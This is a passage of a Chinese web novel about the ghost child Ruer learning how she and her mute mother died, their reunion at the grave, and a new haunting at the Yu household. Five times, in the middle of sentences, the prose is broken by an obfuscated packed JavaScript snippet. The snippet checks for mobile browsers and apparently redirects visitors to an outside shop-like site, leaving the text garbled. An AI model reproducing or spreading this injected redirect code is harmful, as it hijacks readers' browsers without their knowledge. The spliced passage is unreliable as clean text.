没过多久,一位头发花白、身形佝偻的老妇人,由一个小丫鬟搀扶着,颤巍巍地走进了院子。 她便是俞知安幼时的奶娘,姓周。 前些年因年老体衰,又染了风寒,落下了病根,俞府念在她奶大世子的情分上,便让她荣养在府中,平日里并不需要她做什么活计。 周奶娘在丫鬟的搀扶下,颤巍巍地要给老太君行礼。老太君摆了摆手: “罢了,周嬷嬷,你身子不好,不必多礼。叫你过来,是有件事要问你。” 周奶娘喘了口气,恭敬地道:“老太君请问,老奴定然知无不言。” 老太君看了一眼秦婉和东风,示意他们来问。 秦婉上前一步,语气尽量温和:“周嬷嬷,打扰您了。我们想向您打听一个人,是十三年前,可能在府中后院厨房附近活动的一个小女孩,大约六七岁,名叫茹儿,她总是抱着一个红色的虎娃娃。您……可有印象?” “茹儿……虎娃娃……” 周奶娘浑浊的眼睛里先是闪过一丝茫然,随即瞳孔猛地一缩,布满皱纹的脸上瞬间血色褪去,连呼吸都急促了起来。 她下意识地攥紧了搀扶她的丫鬟的手臂,嘴唇哆嗦着,喃喃道, “不……不……老奴……老奴不知道……没什么茹儿……” 她这反应,分明就是知道些什么,而且是极其恐惧、极力想要否认的事情! 俞知安见状,也忍不住开口道:“奶娘,您再仔细想想?我小时候好像也见过她的,就在后院角门那边……” “世子!”周奶娘猛地打断俞知安的话,她扑通一声跪倒在地,对着老太君连连磕头,带着哭腔道, “老太君明鉴!老奴什么都不知道!求您别再问了!那都是过去的事了,不吉利!不吉利啊!” 她这过激的反应,让在场所有人都心中一沉。 老太君的脸色更是难看至极,她重重一拍藤椅的扶手, “周嬷嬷!抬起头来!老老实实告诉老身,那个茹儿,到底是怎么回事?!你若隐瞒,家法处置!” 周奶娘被老太君的威势吓得浑身一抖,瘫软在地,老泪纵横,她知道今天是瞒不过去了,终于崩溃地哭喊道: “老太君饶命!老奴说……老奴都说!那个茹儿……她……她是个苦命的孩子啊!她娘是……是浆洗房的那个哑女秀娘啊! 第二百一十三章 不详的茹儿 周奶娘瘫坐在地,涕泪横流,终于将那段被刻意遗忘的往事断断续续地说了出来: “那茹儿……她娘秀娘,本是个苦命人,原是城外农户家的媳妇。怀上茹儿时,她男人就进山砍柴,失足摔**。茹儿刚落地,她公婆就认定这孩子不祥,是扫把星,一出生就克**亲爹……” “同一年里,她那公婆也接连遭遇意外,一个病**,一个摔伤了没熬过去……村里人就更加传言这孩子命硬,克亲人……秀娘在村里待不下去了,就带着还在襁褓里的茹儿,四处找活计,有一顿没一顿地拉扯孩子……” “那孩子……茹儿,从小就体弱,有心痛的毛病,时不时就发作,需要长期吃药吊着命……秀娘一个人,哪里负担得起? 后来经人介绍,秀娘来了咱们府里的浆洗房做事。她是个哑巴,但手脚勤快,浆洗的活计做得极好……可她带着个有病的孩子,府里怎么可能收留?” 周奶娘抹了把眼泪,继续道:“当时管事的见她可怜,又确实需要人手,便……便睁一只眼闭一只眼,默许她将孩子偷偷安置在后院堆放杂物的一处破旧小屋里。 平日里就让那孩子自己待着,不许她到处乱跑,免得冲撞了主子……秀娘干活挣的钱,几乎全拿来给茹儿买药了……” “这事知道的人不多,除了当时那个心善的管事,老奴……老奴因为时常要去后院办事,偶然撞见过几次,那孩子……瘦瘦小小的,抱着个破旧的虎娃娃,不哭不闹,就坐在门槛上眼巴巴地等着她娘……看着就让人心酸……老奴有时也会偷偷塞给她一块糖糕……” “可那孩子……命太苦了……十三年前的那个冬天,格外冷……她那心痛的毛病又犯了,比以往都厉害……秀娘那几天被派了急活,脱不开身,等晚上回去……孩子……孩子已经没气了……身子都僵了……” 周奶娘说到这里,已是泣不成声, “秀娘受不了这个打击,没几天也……也跟着去了……她们母女俩,就这么悄无声息地没了……管事的老嬷嬷怕事情传出去晦气,也怕担责任。 就……就叫人用草席一卷,偷偷送出去埋了……对外只说是秀娘自己染病没了……这事,知道的人本就不多,时间久了,也就再没人提起了……老奴也不敢说啊……” 东风听着周奶娘的叙述,心中五味杂陈,他没想到事情的真相竟是如此凄惨。 他看向茹儿,只见她此刻也是满脸的难过,小小的身子蹲在地上,空洞无神的眼睛死死盯着地面,仿佛要通过那青石板看穿到另一个世界。 不知道她心里在想些什么,也许周嬷嬷的话,打开了她尘封的记忆之门,那些被刻意遗忘的痛苦,正汹涌地回流。 这个孩子,从小就承受着“扫把星”、“克亲人”的恶毒指责,可她分明什么都没有做错,她只是来到了这个世界上,和每一个生命一样,本该拥有平凡的喜怒哀乐。 为什么偏偏她要承受那些无端的恶意和沉重的命运? 未出生时父亲去世,刚落地不久,祖父祖母又接连离世…… 她的娘亲只是个哑巴,在那个艰难的世道里,一个哑女带着一个被视作“不祥”的、还有心疾的孩子,她们是如何挣扎求存的? 能够活到六七岁,该是多么的不容易! 她一定也很渴望有家人的陪伴,有玩伴的欢笑,可她只有娘亲,而娘亲为了养活她、给她买药,只能日复一日地埋头在浆洗房,做着最辛苦的活计。 她只能抱着那个破旧的虎娃娃,在冰冷的角落里,眼巴巴地等待着娘亲偶尔的归来…… 可最后,她还是在那年寒冷的冬天,孤零零地病发而死…… 她死后一直执着地寻找娘亲,甚至遗忘了生前的记忆,或许……仅仅是因为那些记忆太过痛苦,她的魂魄本能地选择了封闭。 而她唯一残存的执念,就是找到娘亲,或许只是单纯地想和娘亲待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611697|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一起,做一个有娘的孩子,哪怕是在另一个世界…… 俞知安听到这里,眼圈也红了,他既为茹儿的遭遇感到难过,又对周奶娘和管事后来的做法感到不解和气愤,他忍不住再次问道: “奶娘!既然你和管事当初能心善,睁一只眼闭一只眼留她们母女在府中苟活,说明你们是可怜她们的! 那为什么……为什么她**,秀娘也跟着去了之后,你们就要说她‘不祥’,说她‘不吉利’,连提都不许提了呢? 难道就因为她们都**,你们就觉得之前的善心都白费了,反而成了忌讳吗?” 周奶娘被问得浑身一颤,抬起泪眼,脸上充满了复杂的恐惧和无奈,她哽咽着, “世子……您……您年纪小,不懂啊……那孩子……她死后没多久,府里就接连出了几件不大不小的倒霉事…… 马厩走了水,库房丢了些东西,后厨还有人摔断了腿……当时就有人私下里传,说是……说是那孩子的阴魂不散,命太硬,**还要作祟……” 她恐惧地压低了声音:“再加上她生前的那些传言……管事嬷嬷心里也怕啊!怕主子们知道了怪罪,怕这‘不祥’的名声真的给府里带来更大的灾祸…… 所以才……才严令知情的人闭嘴,只当从来没发生过这事,只求赶紧翻篇……老奴……老奴也是怕啊……” 茹儿听着周奶娘那充满恐惧的叙述,小小的身子剧烈地颤抖起来,她猛地抬起头,脸上泪水流淌得更凶了。 周身原本只是悲伤的阴气也变得愤怒和不甘。 凭什么?!凭什么她生前受尽苦难,死后还要背负这样的污名?! 东风感觉到了茹儿情绪的巨大波动,他连忙上前一步,不动声色地伸出手,轻轻握住了茹儿那冰凉虚幻的小手。 他的怀里揣着林小满之前给他的平安符,当他的手触碰到茹儿的瞬间,那股躁动不安的阴气仿佛被抚平了一些。 第二百一十四章 柳树属阴 茹儿剧烈起伏的胸口慢慢平复下来,狂乱的眼神也恢复了一丝清明。 她抬起泪眼朦胧的脸,满是期待和恳求地看向东风, “东风哥哥……你能……能帮我问问……我娘亲葬在哪里了吗?他们……他们是怎么处理我和我娘亲的……我想去找我娘亲……” 东风心中酸涩,用力握了握她冰凉的手,然后转向依旧瘫坐在地的周奶娘, “周嬷嬷,当时……秀娘和那孩子的尸身,你们是如何处理的?葬在何处了?” 周奶娘擦了把眼泪,喘着气回道:“当时……那小女孩没了,秀娘……秀娘用自己攒了很久的一点钱,买了一口薄棺,将她葬在了城西乱葬岗往南的一处小山坡下,那里有棵孤零零的李树。 还算好认……后来秀娘也没了,老奴……老奴心里实在过意不去,就……就私自做主,也叫人打了口薄棺,将她葬在了那小女孩的旁边,让她们母女俩……好歹有个伴儿……” 茹儿听到这话,眼睛猛地亮了一下,她立刻挣脱东风的手,转身就朝着院外飘去,速度快得像一阵风。 但飘出一段距离后,她又猛地停住,茫然地回头看向东风,她不知道具体的位置。 东风见状,立刻明白了。 他轻轻拍了拍旁边秦婉的肩膀,低声道:“秦小姐,我们走。” 秦婉会意,但立刻整理好情绪,上前向老太君郑重行礼告别: “祖母,今日多谢您!事情既已明了,我们就不多打扰了,先行告退。” 老太君看着他们,叹了口气,挥了挥手: “去吧……唉,都是苦命人……” 东风和秦婉转身正要离开,俞知安却一个箭步冲了上来,拦在他们面前,脸上带着急切和好奇,跃跃欲试地问道: “婉儿姐姐!东风大哥!你们现在是要去找……去找她们的坟墓吗?带上我一起呗?我也想去看看!” 秦婉想都没想,立刻板起脸,毫不犹豫地拒绝道: “胡闹!世子,那种地方阴气重,不是你该去的!乖乖在府里待着,莫要添乱!” 她说完便不再理会俞知安委屈巴巴的眼神,与东风快步离开了俞府,朝着城西的方向赶去。 东风、秦婉带着急切又茫然的茹儿赶到城西那处小山坡时,却意外地发现,林小满和小花竟然已经等在了那棵孤零零的李树下。 秦婉见到她们,又惊又喜,立刻跑了过去:“小满!小花!你们怎么来了?” 东风也连忙上前,对着林小满恭敬地行了一礼:“林小姐。” 小花没理会他们的寒暄,她的目光直接落在了魂魄状态、情绪明显不对的茹儿身上,挑了挑眉: “知道真相了?看你这样子,哭得比**还难看。” 茹儿看到小花,像是终于找到了可以倾诉的依靠,立刻飘过去,一把抱住小花,放声大哭起来,血泪吧嗒吧嗒地往下掉: “嗯嗯!我知道了……原来……原来我娘亲也早就已经**……难怪我怎么找都找不到他……可是,可是为什么啊!为什么我**还在这里漂泊,为什么我还是找不到我娘亲呢? 难道……难道我娘亲已经去投胎了吗?她是不是不要我了?不爱我了?她是不是也觉得我就是个累赘?觉得我是丧门星,连**都不愿意等我,不愿意再见我一面了?” 她越说越伤心,哭得上气不接下气。 小花被她哭得一个头两个大,她哪里会安慰人? 要她骂人、怼人,那她是一把好手,舌战群儒都不带怕的,可这安慰哭唧唧的小女鬼……她是真不擅长! 她只能手足无措地僵在那里,求助似的看向秦婉。 偏偏秦婉又看不到茹儿,只看到小花对着空气一脸便秘般的为难表情。 秦婉急了,扯着林小满的袖子:“小满!你们大家都能看到,就我看不到!你给我弄一下嘛!我也想看看到底怎么回事!” 林小满被她晃得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611698|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没办法,无奈地叹了口气,随手折下一段旁边柳树的嫩枝,指尖在上面虚画了几下,然后轻轻在秦婉眼前拂过: “柳叶通阴,借你片刻清明。别嚷嚷了。” 秦婉只觉得眼前微微一凉,似乎有什么东西变得清晰了些。 她下意识地顺着小花的方向看去,果然看到一个衣着破旧、七窍流血的小女孩,正紧紧“抱”着小花的手臂,在那里嗷嗷痛哭,那模样,真是闻者伤心见者落泪。 秦婉的心瞬间就被揪紧了,也顾不上害怕那骇人的形象了,连忙蹲下身,虽然碰不到,但还是做出环抱的姿势,柔声安慰道: “茹儿不哭,不哭了啊……你娘亲怎么会不爱你呢?她为了给你治病,吃了那么多苦……她一定是……一定是先一步去下一世给你布置一个温暖的家了,她肯定在等着你呢!” 林小满看着这混乱又有些滑稽的场面,摇了摇头,目光扫过那两座几乎被荒草淹没的小小土包, “别哭了。你娘没去投胎,也没有消散。” 茹儿的哭声戛然而止,她猛地抬起头,血泪还挂在脸上,难以置信地看向林小满。 林小满继续道:“她的魂魄,一直就在她自己的坟墓里,从未离开。” “真……真的?”茹儿的声音带着颤抖。 “嗯,”林小满点头,“但她把自己封闭了起来。她以为……你早就去投胎了。她觉得自己没能保护好你,让你小小年纪就受尽苦楚夭折,不配再做你的母亲。 她也觉得做人太苦,太累,不想再入轮回,索性就将自己囚禁在那方寸之地,陷入沉睡,逃避一切。” 原来,秀娘并非不愿见女儿,而是沉浸在巨大的自责和绝望中,以为女儿早已解脱,而自己则选择了永恒的放逐。 茹儿听到这里,心如刀绞,娘亲和她一样,都在承受着痛苦和思念的折磨。 “那……那我该怎么才能见到娘亲?”茹儿急切地问道,眼中重新燃起希望。 第二百一十五章 打叶子牌 林小满指了指旁边那座稍大一些、同样荒芜的土坟: “去你娘亲的坟前,用心呼唤她。告诉她你回来了,告诉她你一直在找她,告诉她……你从未怪过她,你很想她。 用你的执念,去唤醒她的执念。她封闭了自己,唯有至亲的呼唤,才有可能穿透那层屏障。” 她顿了顿,补充道:“要诚心。她若感知到你的存在和心意,或许……会愿意见你一面。” 茹儿用力地点了点头,立刻松开小花,飘到秀娘的坟前。 她伸出小手,轻轻抚摸着坟头的荒草,仿佛在抚摸娘亲的脸庞,“娘亲……娘亲……我是茹儿啊……我回来了……” “娘亲,对不起,让你等了这么久……我一直都在找你,我没有去投胎,我舍不得你……” “娘亲,你不要自责,不是你的错……茹儿从来没有怪过你……茹儿知道娘亲最疼我了……” “娘亲,你出来见见茹儿好不好?茹儿好想你……好想再抱抱你……” 四人看着茹儿趴在坟前,哭得一把鼻涕一把泪,小小的身子一抽一抽的,可怜极了。 秦婉撅着嘴巴,忍不住小声问林小满:“小满,她这样子……真的能把秀娘叫出来吗?” 林小满瞥了她一眼,语气平淡:“叫不出来。” “啊?”秦婉愣住了,“那你还让她去那里哭得那么伤心?” “哦,”林小满理了理袖子,仿佛在说今天天气不错, “让她发泄一下。憋了十三年的委屈和执念,不哭出来,怎么放下?等她哭够了,把心里的郁结都发泄出去,念头通达了,才好进行下一步。” 小花不知道从哪里摸出来一把瓜子,正嗑得津津有味,看着茹儿啧啧说道: “就是!等她发泄完,肯定还得需要我们小满出手,把那秀娘从坟里‘请’出来。光靠哭要是有用,这世上的孤魂野鬼早就能开茶话会了。” 秦婉听得有点无语,又想起之前的事,问道: “可你们之前不是说了不管他们吗?那你们现在来这儿是干嘛?” 小花吐掉瓜子壳,耸了耸肩:“我也以为小满是真不管了。那我哪能知道,她就是单纯的无聊,想逗逗你们玩呗。反正你们也没事做,找点乐子嘛。” 站在一旁的东风听到这话,彻底懵了,他指着自己的鼻子,难以置信地说: “所……所以你们是故意的?故意让茹儿来找我?你们知不知道我差点被她吓死!我要是真吓出个好歹,王爷找不到我怎么办?” 小花闻言,立刻把手里的瓜子塞回兜里,笑嘻嘻地站起来,走到东风身边,亲昵地挽住他的胳膊,晃了晃: “唉呀~东风哥哥~别这么小气嘛!找不到就找不到呗,到时候就说你跟我们在一起,王爷肯定不会怪你的!说不定还会夸你助人为乐呢!” 东风被她这突如其来的亲近和娇滴滴的“东风哥哥”叫得浑身一僵,感觉胳膊上起了一层鸡皮疙瘩。 他看着小花挽住自己的手,脸颊不受控制地微微泛红,想要抽回手,却又有点不好意思,只能梗着脖子,眼神飘忽地看向别处,小声嘟囔: “谁……谁是你哥哥……别乱叫……” 他那副窘迫又强装镇定的模样,惹得秦婉忍不住捂嘴偷笑,连一直没什么表情的林小满,嘴角也几不可察地弯了一下。 就在这时,趴在坟前哭了许久的茹儿,哭声渐渐低了下去,变成了小声的抽噎。 林小满见茹儿情绪宣泄得差不多了,便从坐着的大石上站起身,拍了拍衣角的草屑,对小花几人说道: “行了,走吧走吧,你们先把她带回去,我等会儿再回。” 小花利索地站起来,拍了拍手:“行,那我们先走了,你自己小心点。” 说完,她便一手拉着还在偷笑看东风热闹的秦婉,另一只手习惯性地又要去拉东风。 东风这次学乖了,下意识地往后缩了缩。 小花瞪了他一眼,他只好硬着头皮,任由小花扯着他的袖子,几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622339|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人带着情绪稍微平复但依旧有些蔫蔫的茹儿,先行离开了这片荒凉的山坡。 …… 夜里,林小满的卧房内。 油灯散发着昏黄温暖的光。 小花、林小满,还有被带回来的茹儿,三人正围坐在小桌旁……打叶子牌。 “糊了。”林小满面无表情地将手中的牌推倒,语气毫无波澜。 小花看着自己手里的一把烂牌,又看看林小满面前赢走的一小堆铜钱,气得鼓起腮帮子,把牌一扔: “不玩了不玩了!小满你肯定出老千了!每次都你赢!” 抱怨完林小满,她又扭头看向心不在焉的茹儿,生气地戳了戳她: “还有你!小茹儿!你能不能认真点打?魂儿都飘到哪儿去了?你看你输得最多!你本来身上就没银子,不会还想赖账,让我替你给吧?” 茹儿瘪着嘴巴,大眼睛里没什么神采,她抬起头,怯生生地看向林小满和小花,声音带着不确定的哽咽: “小满姐姐,小花姐姐……我娘亲……她真的会来找我吗?都这么久了……” 林小满一边慢条斯理地洗着牌,一边头也不抬地说道: “急什么。我说了会让她来,她就一定会来。子时阴气最盛,才是最适合的时候。你现在要做的,就是安心等着,别胡思乱想。” 小花也收敛了玩笑的神色,难得温和地对茹儿说: “就是,等着呗。我们小满说话算话,比你那虎娃娃还靠谱。来来来,再打一圈,这把你认真点,说不定就能赢点钱给你娘亲买点纸钱呢!” 茹儿被小花这别样的安慰逗得想笑又心酸,她用力点了点头,重新将注意力放回了牌局上,只是眼神时不时还会飘向窗外沉沉的夜色。 没过多久,房间里的烛火便毫无征兆地开始剧烈闪烁。 一股寒意弥漫开来,连空气都仿佛凝滞冰冷了许多。 外头不知何时刮起了阴风,呜咽着拍打着窗棂,发出“哐当哐当”的轻响。 第二百一十六章 去抱抱她呀 小花非但不怕,反而兴奋地笑了起来,眼睛亮晶晶地凑近林小满,压低声音问道: “小满!是不是秀娘来了?这动静!” 林小满依旧慢条斯理地将手中的牌整理好,放在桌上,抬眼感受了一下周遭气息的变化,淡淡应道: “应该是的吧。” 原本就坐立不安的茹儿,感受到这明显的变化,更是又害怕又紧张,一下子从椅子上跳下来,像只受惊的小兔子般蹦到林小满身旁,冰凉的小手紧紧抓住林小满的衣袖,声音都带上了哭腔: “小满姐姐……我……我我好紧张……” 林小满还没说话,小花就先翻了个白眼,没好气地反驳道: “那是你娘亲!你不是拼死拼活找了她那么久吗?现在她来了,你紧张个什么劲儿!” 一边说,一边还伸手,作势要把茹儿抓着林小满衣袖的手给拨开。 茹儿被小花说得更加委屈,瘪着嘴巴,血泪又开始在眼眶里打转,带着哭音小声辩解: “我……那我害怕……可以吗?” 林小满:“……” 小花:“……” 房间里出现了片刻诡异的寂静,只有烛火还在噼啪作响,窗外的风声似乎更急切了些。 就在这寂静的刹那,房间里的烛火“噗”地一声,彻底熄灭了,陷入一片黑暗。 只有窗外透进来的微弱月光,勾勒出模糊的轮廓。 “我去重新点一下。”小花说着站起身,摸索着走到桌边,掏出火折子。 “嚓”的一声轻响,火苗重新亮起,小花将蜡烛点燃。 昏黄的光晕再次铺开,她刚松了一口气,一回头—— 一个衣衫略显凌乱、长发披散的女鬼,正悄无声息地立在她身后,几乎与她贴面!那空洞的眼神直勾勾地,在烛光下显得格外瘆人。 “啊啊啊!!有鬼啊!” 小花吓得一个激灵,脱口尖叫,手里的火折子差点掉地上。 但她叫完之后,立马就反应过来,拍了拍胸口,上前一步,非但没躲,反而伸手拍了拍秀娘的肩膀,语气带着点埋怨: “那个……不好意思啊秀娘,我突然叫不是因为你长得吓人……好吧是有点吓人,但主要是因为你怎么走路一点声音都没有!突然出现在人身后,很吓人的好不好!” 她这反应,直接把旁边的林小满看得嘴角微抽。 “是来找你女儿的吧?”小花侧过身,指了指茹儿的方向,“喏,在那呢。” 林小满也适时地,嘴角勾起一抹极淡的、带着点看戏意味的浅笑, 然后伸手,将一直躲在她身后的茹儿给轻轻推了出去。 “喂,看看,这是你女儿吧?”小花甚至还哥俩好似的搭住秀娘的肩膀。 秀娘原本带着几分茫然和阴郁的魂体猛地一顿,周身那阴测测的气息瞬间消散了不少。 她的目光先是落在林小满身上,带着一丝本能的敬畏,随即,像是被磁石吸引一般,猛地转向被推出来的茹儿。 当她的视线,触及到茹儿怀里那个虽然破旧却依旧眼熟的红色虎娃娃时,她整个人都愣住了。 泪水瞬间模糊了她空洞的眼睛,她激动得魂体都在微微颤抖,张开嘴,发出无声的呐喊,朝着茹儿伸出颤抖的双手。 被推出来的茹儿,顶着自家娘亲那激动万分、热切无比的视线,不知道是因为紧张还是害怕,小身子瑟缩了一下,居然……悄悄地、一点一点地,又挪回了林小满的身后。 只探出半个小脑袋,怯生生地扯了扯林小满的衣袖,带着哭腔小声哀求道: “小满姐姐……我……我好害怕……你……你还是把他送走吧,好不好?” 一直心心念念想要找到的娘亲,此刻就在眼前了,她却突然害怕了,退缩了。 或许,是眼前这个形象衣衫不整、长发披散、泪流满面的娘亲,和她内心深处那个温暖、坚韧的娘亲形象相差太远,巨大的落差让她一时无法接受,甚至感到了恐惧。 林小满看着躲回自己身后的小女鬼,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623863|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了看前方因为女儿退缩而显得更加悲伤无助、几乎要崩溃的秀娘,只觉得一个脑袋两个大。 她在心里默默叹了口气。 这真是……请鬼容易送鬼难。 尤其是这种牵扯至深母女情的,一个处理不好,怕是两个都要变成怨灵缠上她了。 眼看秀娘因为女儿的退缩,魂体颤抖得更加厉害,几乎要维持不住形态,空洞的眼睛里流出更多无声的泪水,充满了绝望和自责。 她想要上前,却又怕再次吓到女儿,只能僵在原地,伸出双手。 而茹儿则紧紧抓着林小满的衣角,把小脸埋得更深,只敢用眼角余光偷偷打量那个既熟悉又陌生的娘亲,小小的身子因为恐惧和矛盾的心理而微微发抖。 小花看着这僵持的局面,只觉得一个头比两个还大。她先是再次拍了拍秀娘的肩膀,用眼神示意她稍安勿躁,给予一个无声的安慰。 然后,她转过身,蹲了下来,平视着躲在林小满身后的茹儿,语气是难得的耐心和温和,与她平日里跳脱的模样大相径庭: “小茹儿,你看看她,”小花指着悲伤欲绝的秀娘, “你仔细看看,她是不是你记忆里的娘亲?她只是……只是太想你了,等得太久,所以看起来有点不一样。但你忘了你抱着虎娃娃等她回来的日子了吗?忘了她偷偷省下钱给你买药,自己却饿着肚子的时候了吗?” 茹儿听着小花的话,偷偷又看了一眼秀娘。 是啊,虽然娘亲现在看起来有些狼狈,可那双看着自己的眼睛,里面的心疼和思念,和记忆深处一模一样。 她想起娘亲温暖的怀抱,想起娘亲省下口粮给她时温柔的笑容…… “你不是一直拼命想找到她吗?”小花继续轻声引导, “现在她就在你面前,你怎么能躲起来呢?她为了你,连轮回都不愿意去,一直在等你啊。你忍心让她继续这么难过吗?” 茹儿眼中的恐惧渐渐被愧疚和思念取代,血泪再次涌出,但这次不是因为害怕。 第二百一十七章 俞府又出事了? 她看着秀娘那充满期盼和悲伤的眼神,终于,轻轻松开了抓着林小满衣角的手,朝着小花微微点了点头。 小花见状,心里松了口气,脸上露出笑容,朝她伸出手:“那……现在要去抱抱你娘亲吗?她肯定等这个拥抱,等了很久很久了。” 茹儿用力地点了点头,虽然还是有些怯生生的,但眼神已经变得坚定。 小花笑着,轻轻拉着茹儿从林小满身后走了出来,一步步走向前方那个早已泪流满面、激动得不能自已的秀娘。 一步,两步……距离在缩短。 秀娘看着女儿终于朝自己走来,激动地捂住嘴,颤抖着再次张开双臂。 终于,茹儿走到了秀娘面前,她抬起头,看着娘亲憔悴却无比温柔的脸,小声地、带着哭腔喊了一声: “娘亲……” 然后,她一头扑进了秀娘张开的怀抱里。 秀娘立刻紧紧地将女儿拥住,那跨越了十三年的思念与等待,在这一刻终于找到了归宿。 母女俩的魂魄紧紧相拥,无声的泪水交织,所有的遗憾、痛苦和漫长的等待,似乎都在这个拥抱中渐渐融化。 林小满看着这一幕,一直没什么表情的脸上,也微微缓和了些。 小花则叉着腰,满意地点了点头,心想:总算没白费我这么多口水! …… 林小满和小花刚随着沈清秋从外面摆摊回到林府,今日沈清秋难得清闲,便亲自去接了她们回来。 几人心情尚可,尤其是小花,还在回味着昨日成功让茹儿母女团聚的成就感。 然而,刚一踏进府门,林知鸳就快步迎了上来,脸上带着些许疑惑, “母亲,小满,俞家大舅舅来了,正在前厅等候。” “哦?义兄怎么突然来了?”沈清秋一听见俞洪明来了,心中下意识地一咯噔,生怕是俞府出了什么事情,尤其是担心着老太君。 “大舅舅没说具体何事,”林知鸳摇头,“只说是来找小满的。” 听闻是专门来找林小满的,几人不敢怠慢,快步朝着前厅走去。 林小满面色如常,刚一踏进前厅,林小满的目光便直直落在了坐在客位上的俞洪明身上。 俞洪明本是带着温和笑意,见到她们进来正欲起身寒暄,然而,就在他与林小满视线对上的那一刹那。 林小满的眼神刷的一下就变了! 她的眉头几不可察地蹙起,周身的气息都随之冷凝了几分。 俞洪明脸上的笑意瞬间凝固了,心中警铃大作! 怎么回事?为什么小满见到他会是这种反应? 这眼神……这眼神简直像是在看……他不敢深想,只觉得一股寒意从脊背窜起,连准备好的客套话都卡在了喉咙里,一时竟不知该如何开口,只能僵硬地维持着半起身的姿势,额角甚至渗出了细密的冷汗。 沈清秋也敏锐地察觉到了女儿异常的沉默和冰冷的目光,她看看脸色大变的义兄,又看看神色冷凝的女儿,心中疑窦丛生,试探着开口: “小满?怎么了?可是你大舅舅他……” 俞洪明被林小满那目光看得浑身不自在,仿佛心底最隐秘的角落都被看了个通透。 他强压下心中的惊悸,扯出一个有些僵硬的笑容,小心翼翼地问道: “小满……你……你这突然用这种眼神看着舅舅,怪……怪吓人的。可是舅舅哪里……有什么不对劲?” 他的语气带着明显的小心翼翼和试探,额角的冷汗却出卖了他内心的慌乱。 林小满没有直接回答他的问题,而是又上下打量了他一番,目光尤其在他眉宇间缠绕的晦暗气息和周身那若有若无的阴怨之气上停留片刻,才缓缓开口,声音清冷: “府里出什么事了?” 她这话问得直接,甚至带着几分笃定。 站在一旁的林知鸳和沈清秋闻言,心中同时“咯噔”一声,立刻明白了林小满的意思。 完了,俞府肯定是真的出问题了,而且问题不小! 否则小满不会一照面就是这种反应,还问得如此直接。 俞洪明脸上的血色又褪去了几分,他张了张嘴,想否认,但触及林小满那仿佛能洞悉一切的眼神,最终还是颓然地叹了口气,肩膀也垮了下来。 他不再试图掩饰,语气变得沉重而诚恳:“小满, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623864|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你……你可是看出来了什么?实话实说吧……今日我过来,确实是有事来找你相助。” 他顿了顿,继续道:“这些日子,你在京城懂得玄学之术的名声,舅舅我也多多少少听说过。虽然外头有些人传得神乎其神,也有些人不以为意……但作为我来说,我愿意相信你。 因为……府中最近,确实发生了一些……难以解释的怪事,令人寝食难安。” 他终于承认了。前厅内的气氛更加凝重了。沈清秋和林知鸳都屏息看着林小满,等待她的下文。 林小满神色不变,只是淡淡地看着俞洪明,示意他继续说下去。 俞洪明重重叹了口气,脸上满是无奈和忧虑,他搓了搓手,这才继续说道: “唉,其实这件事情……我也不知道该怎么说。是我弟弟洪照的事。若不是看在我们是亲兄弟的份上,加上此事着实诡异,我也不想家丑外扬,更不想来麻烦小满你。” 他顿了顿,组织了一下语言: “母亲寿辰过后没多久,我就发现洪照偷偷去瞧了好几次大夫,行踪有些鬼祟。被我撞见追问,他一开始还支支吾吾不肯说,后来被我逼问得紧了,他才肯告诉我实情……” 沈清秋听得眉头紧锁,忍不住追问道:“洪照他……到底是哪里不对劲?” 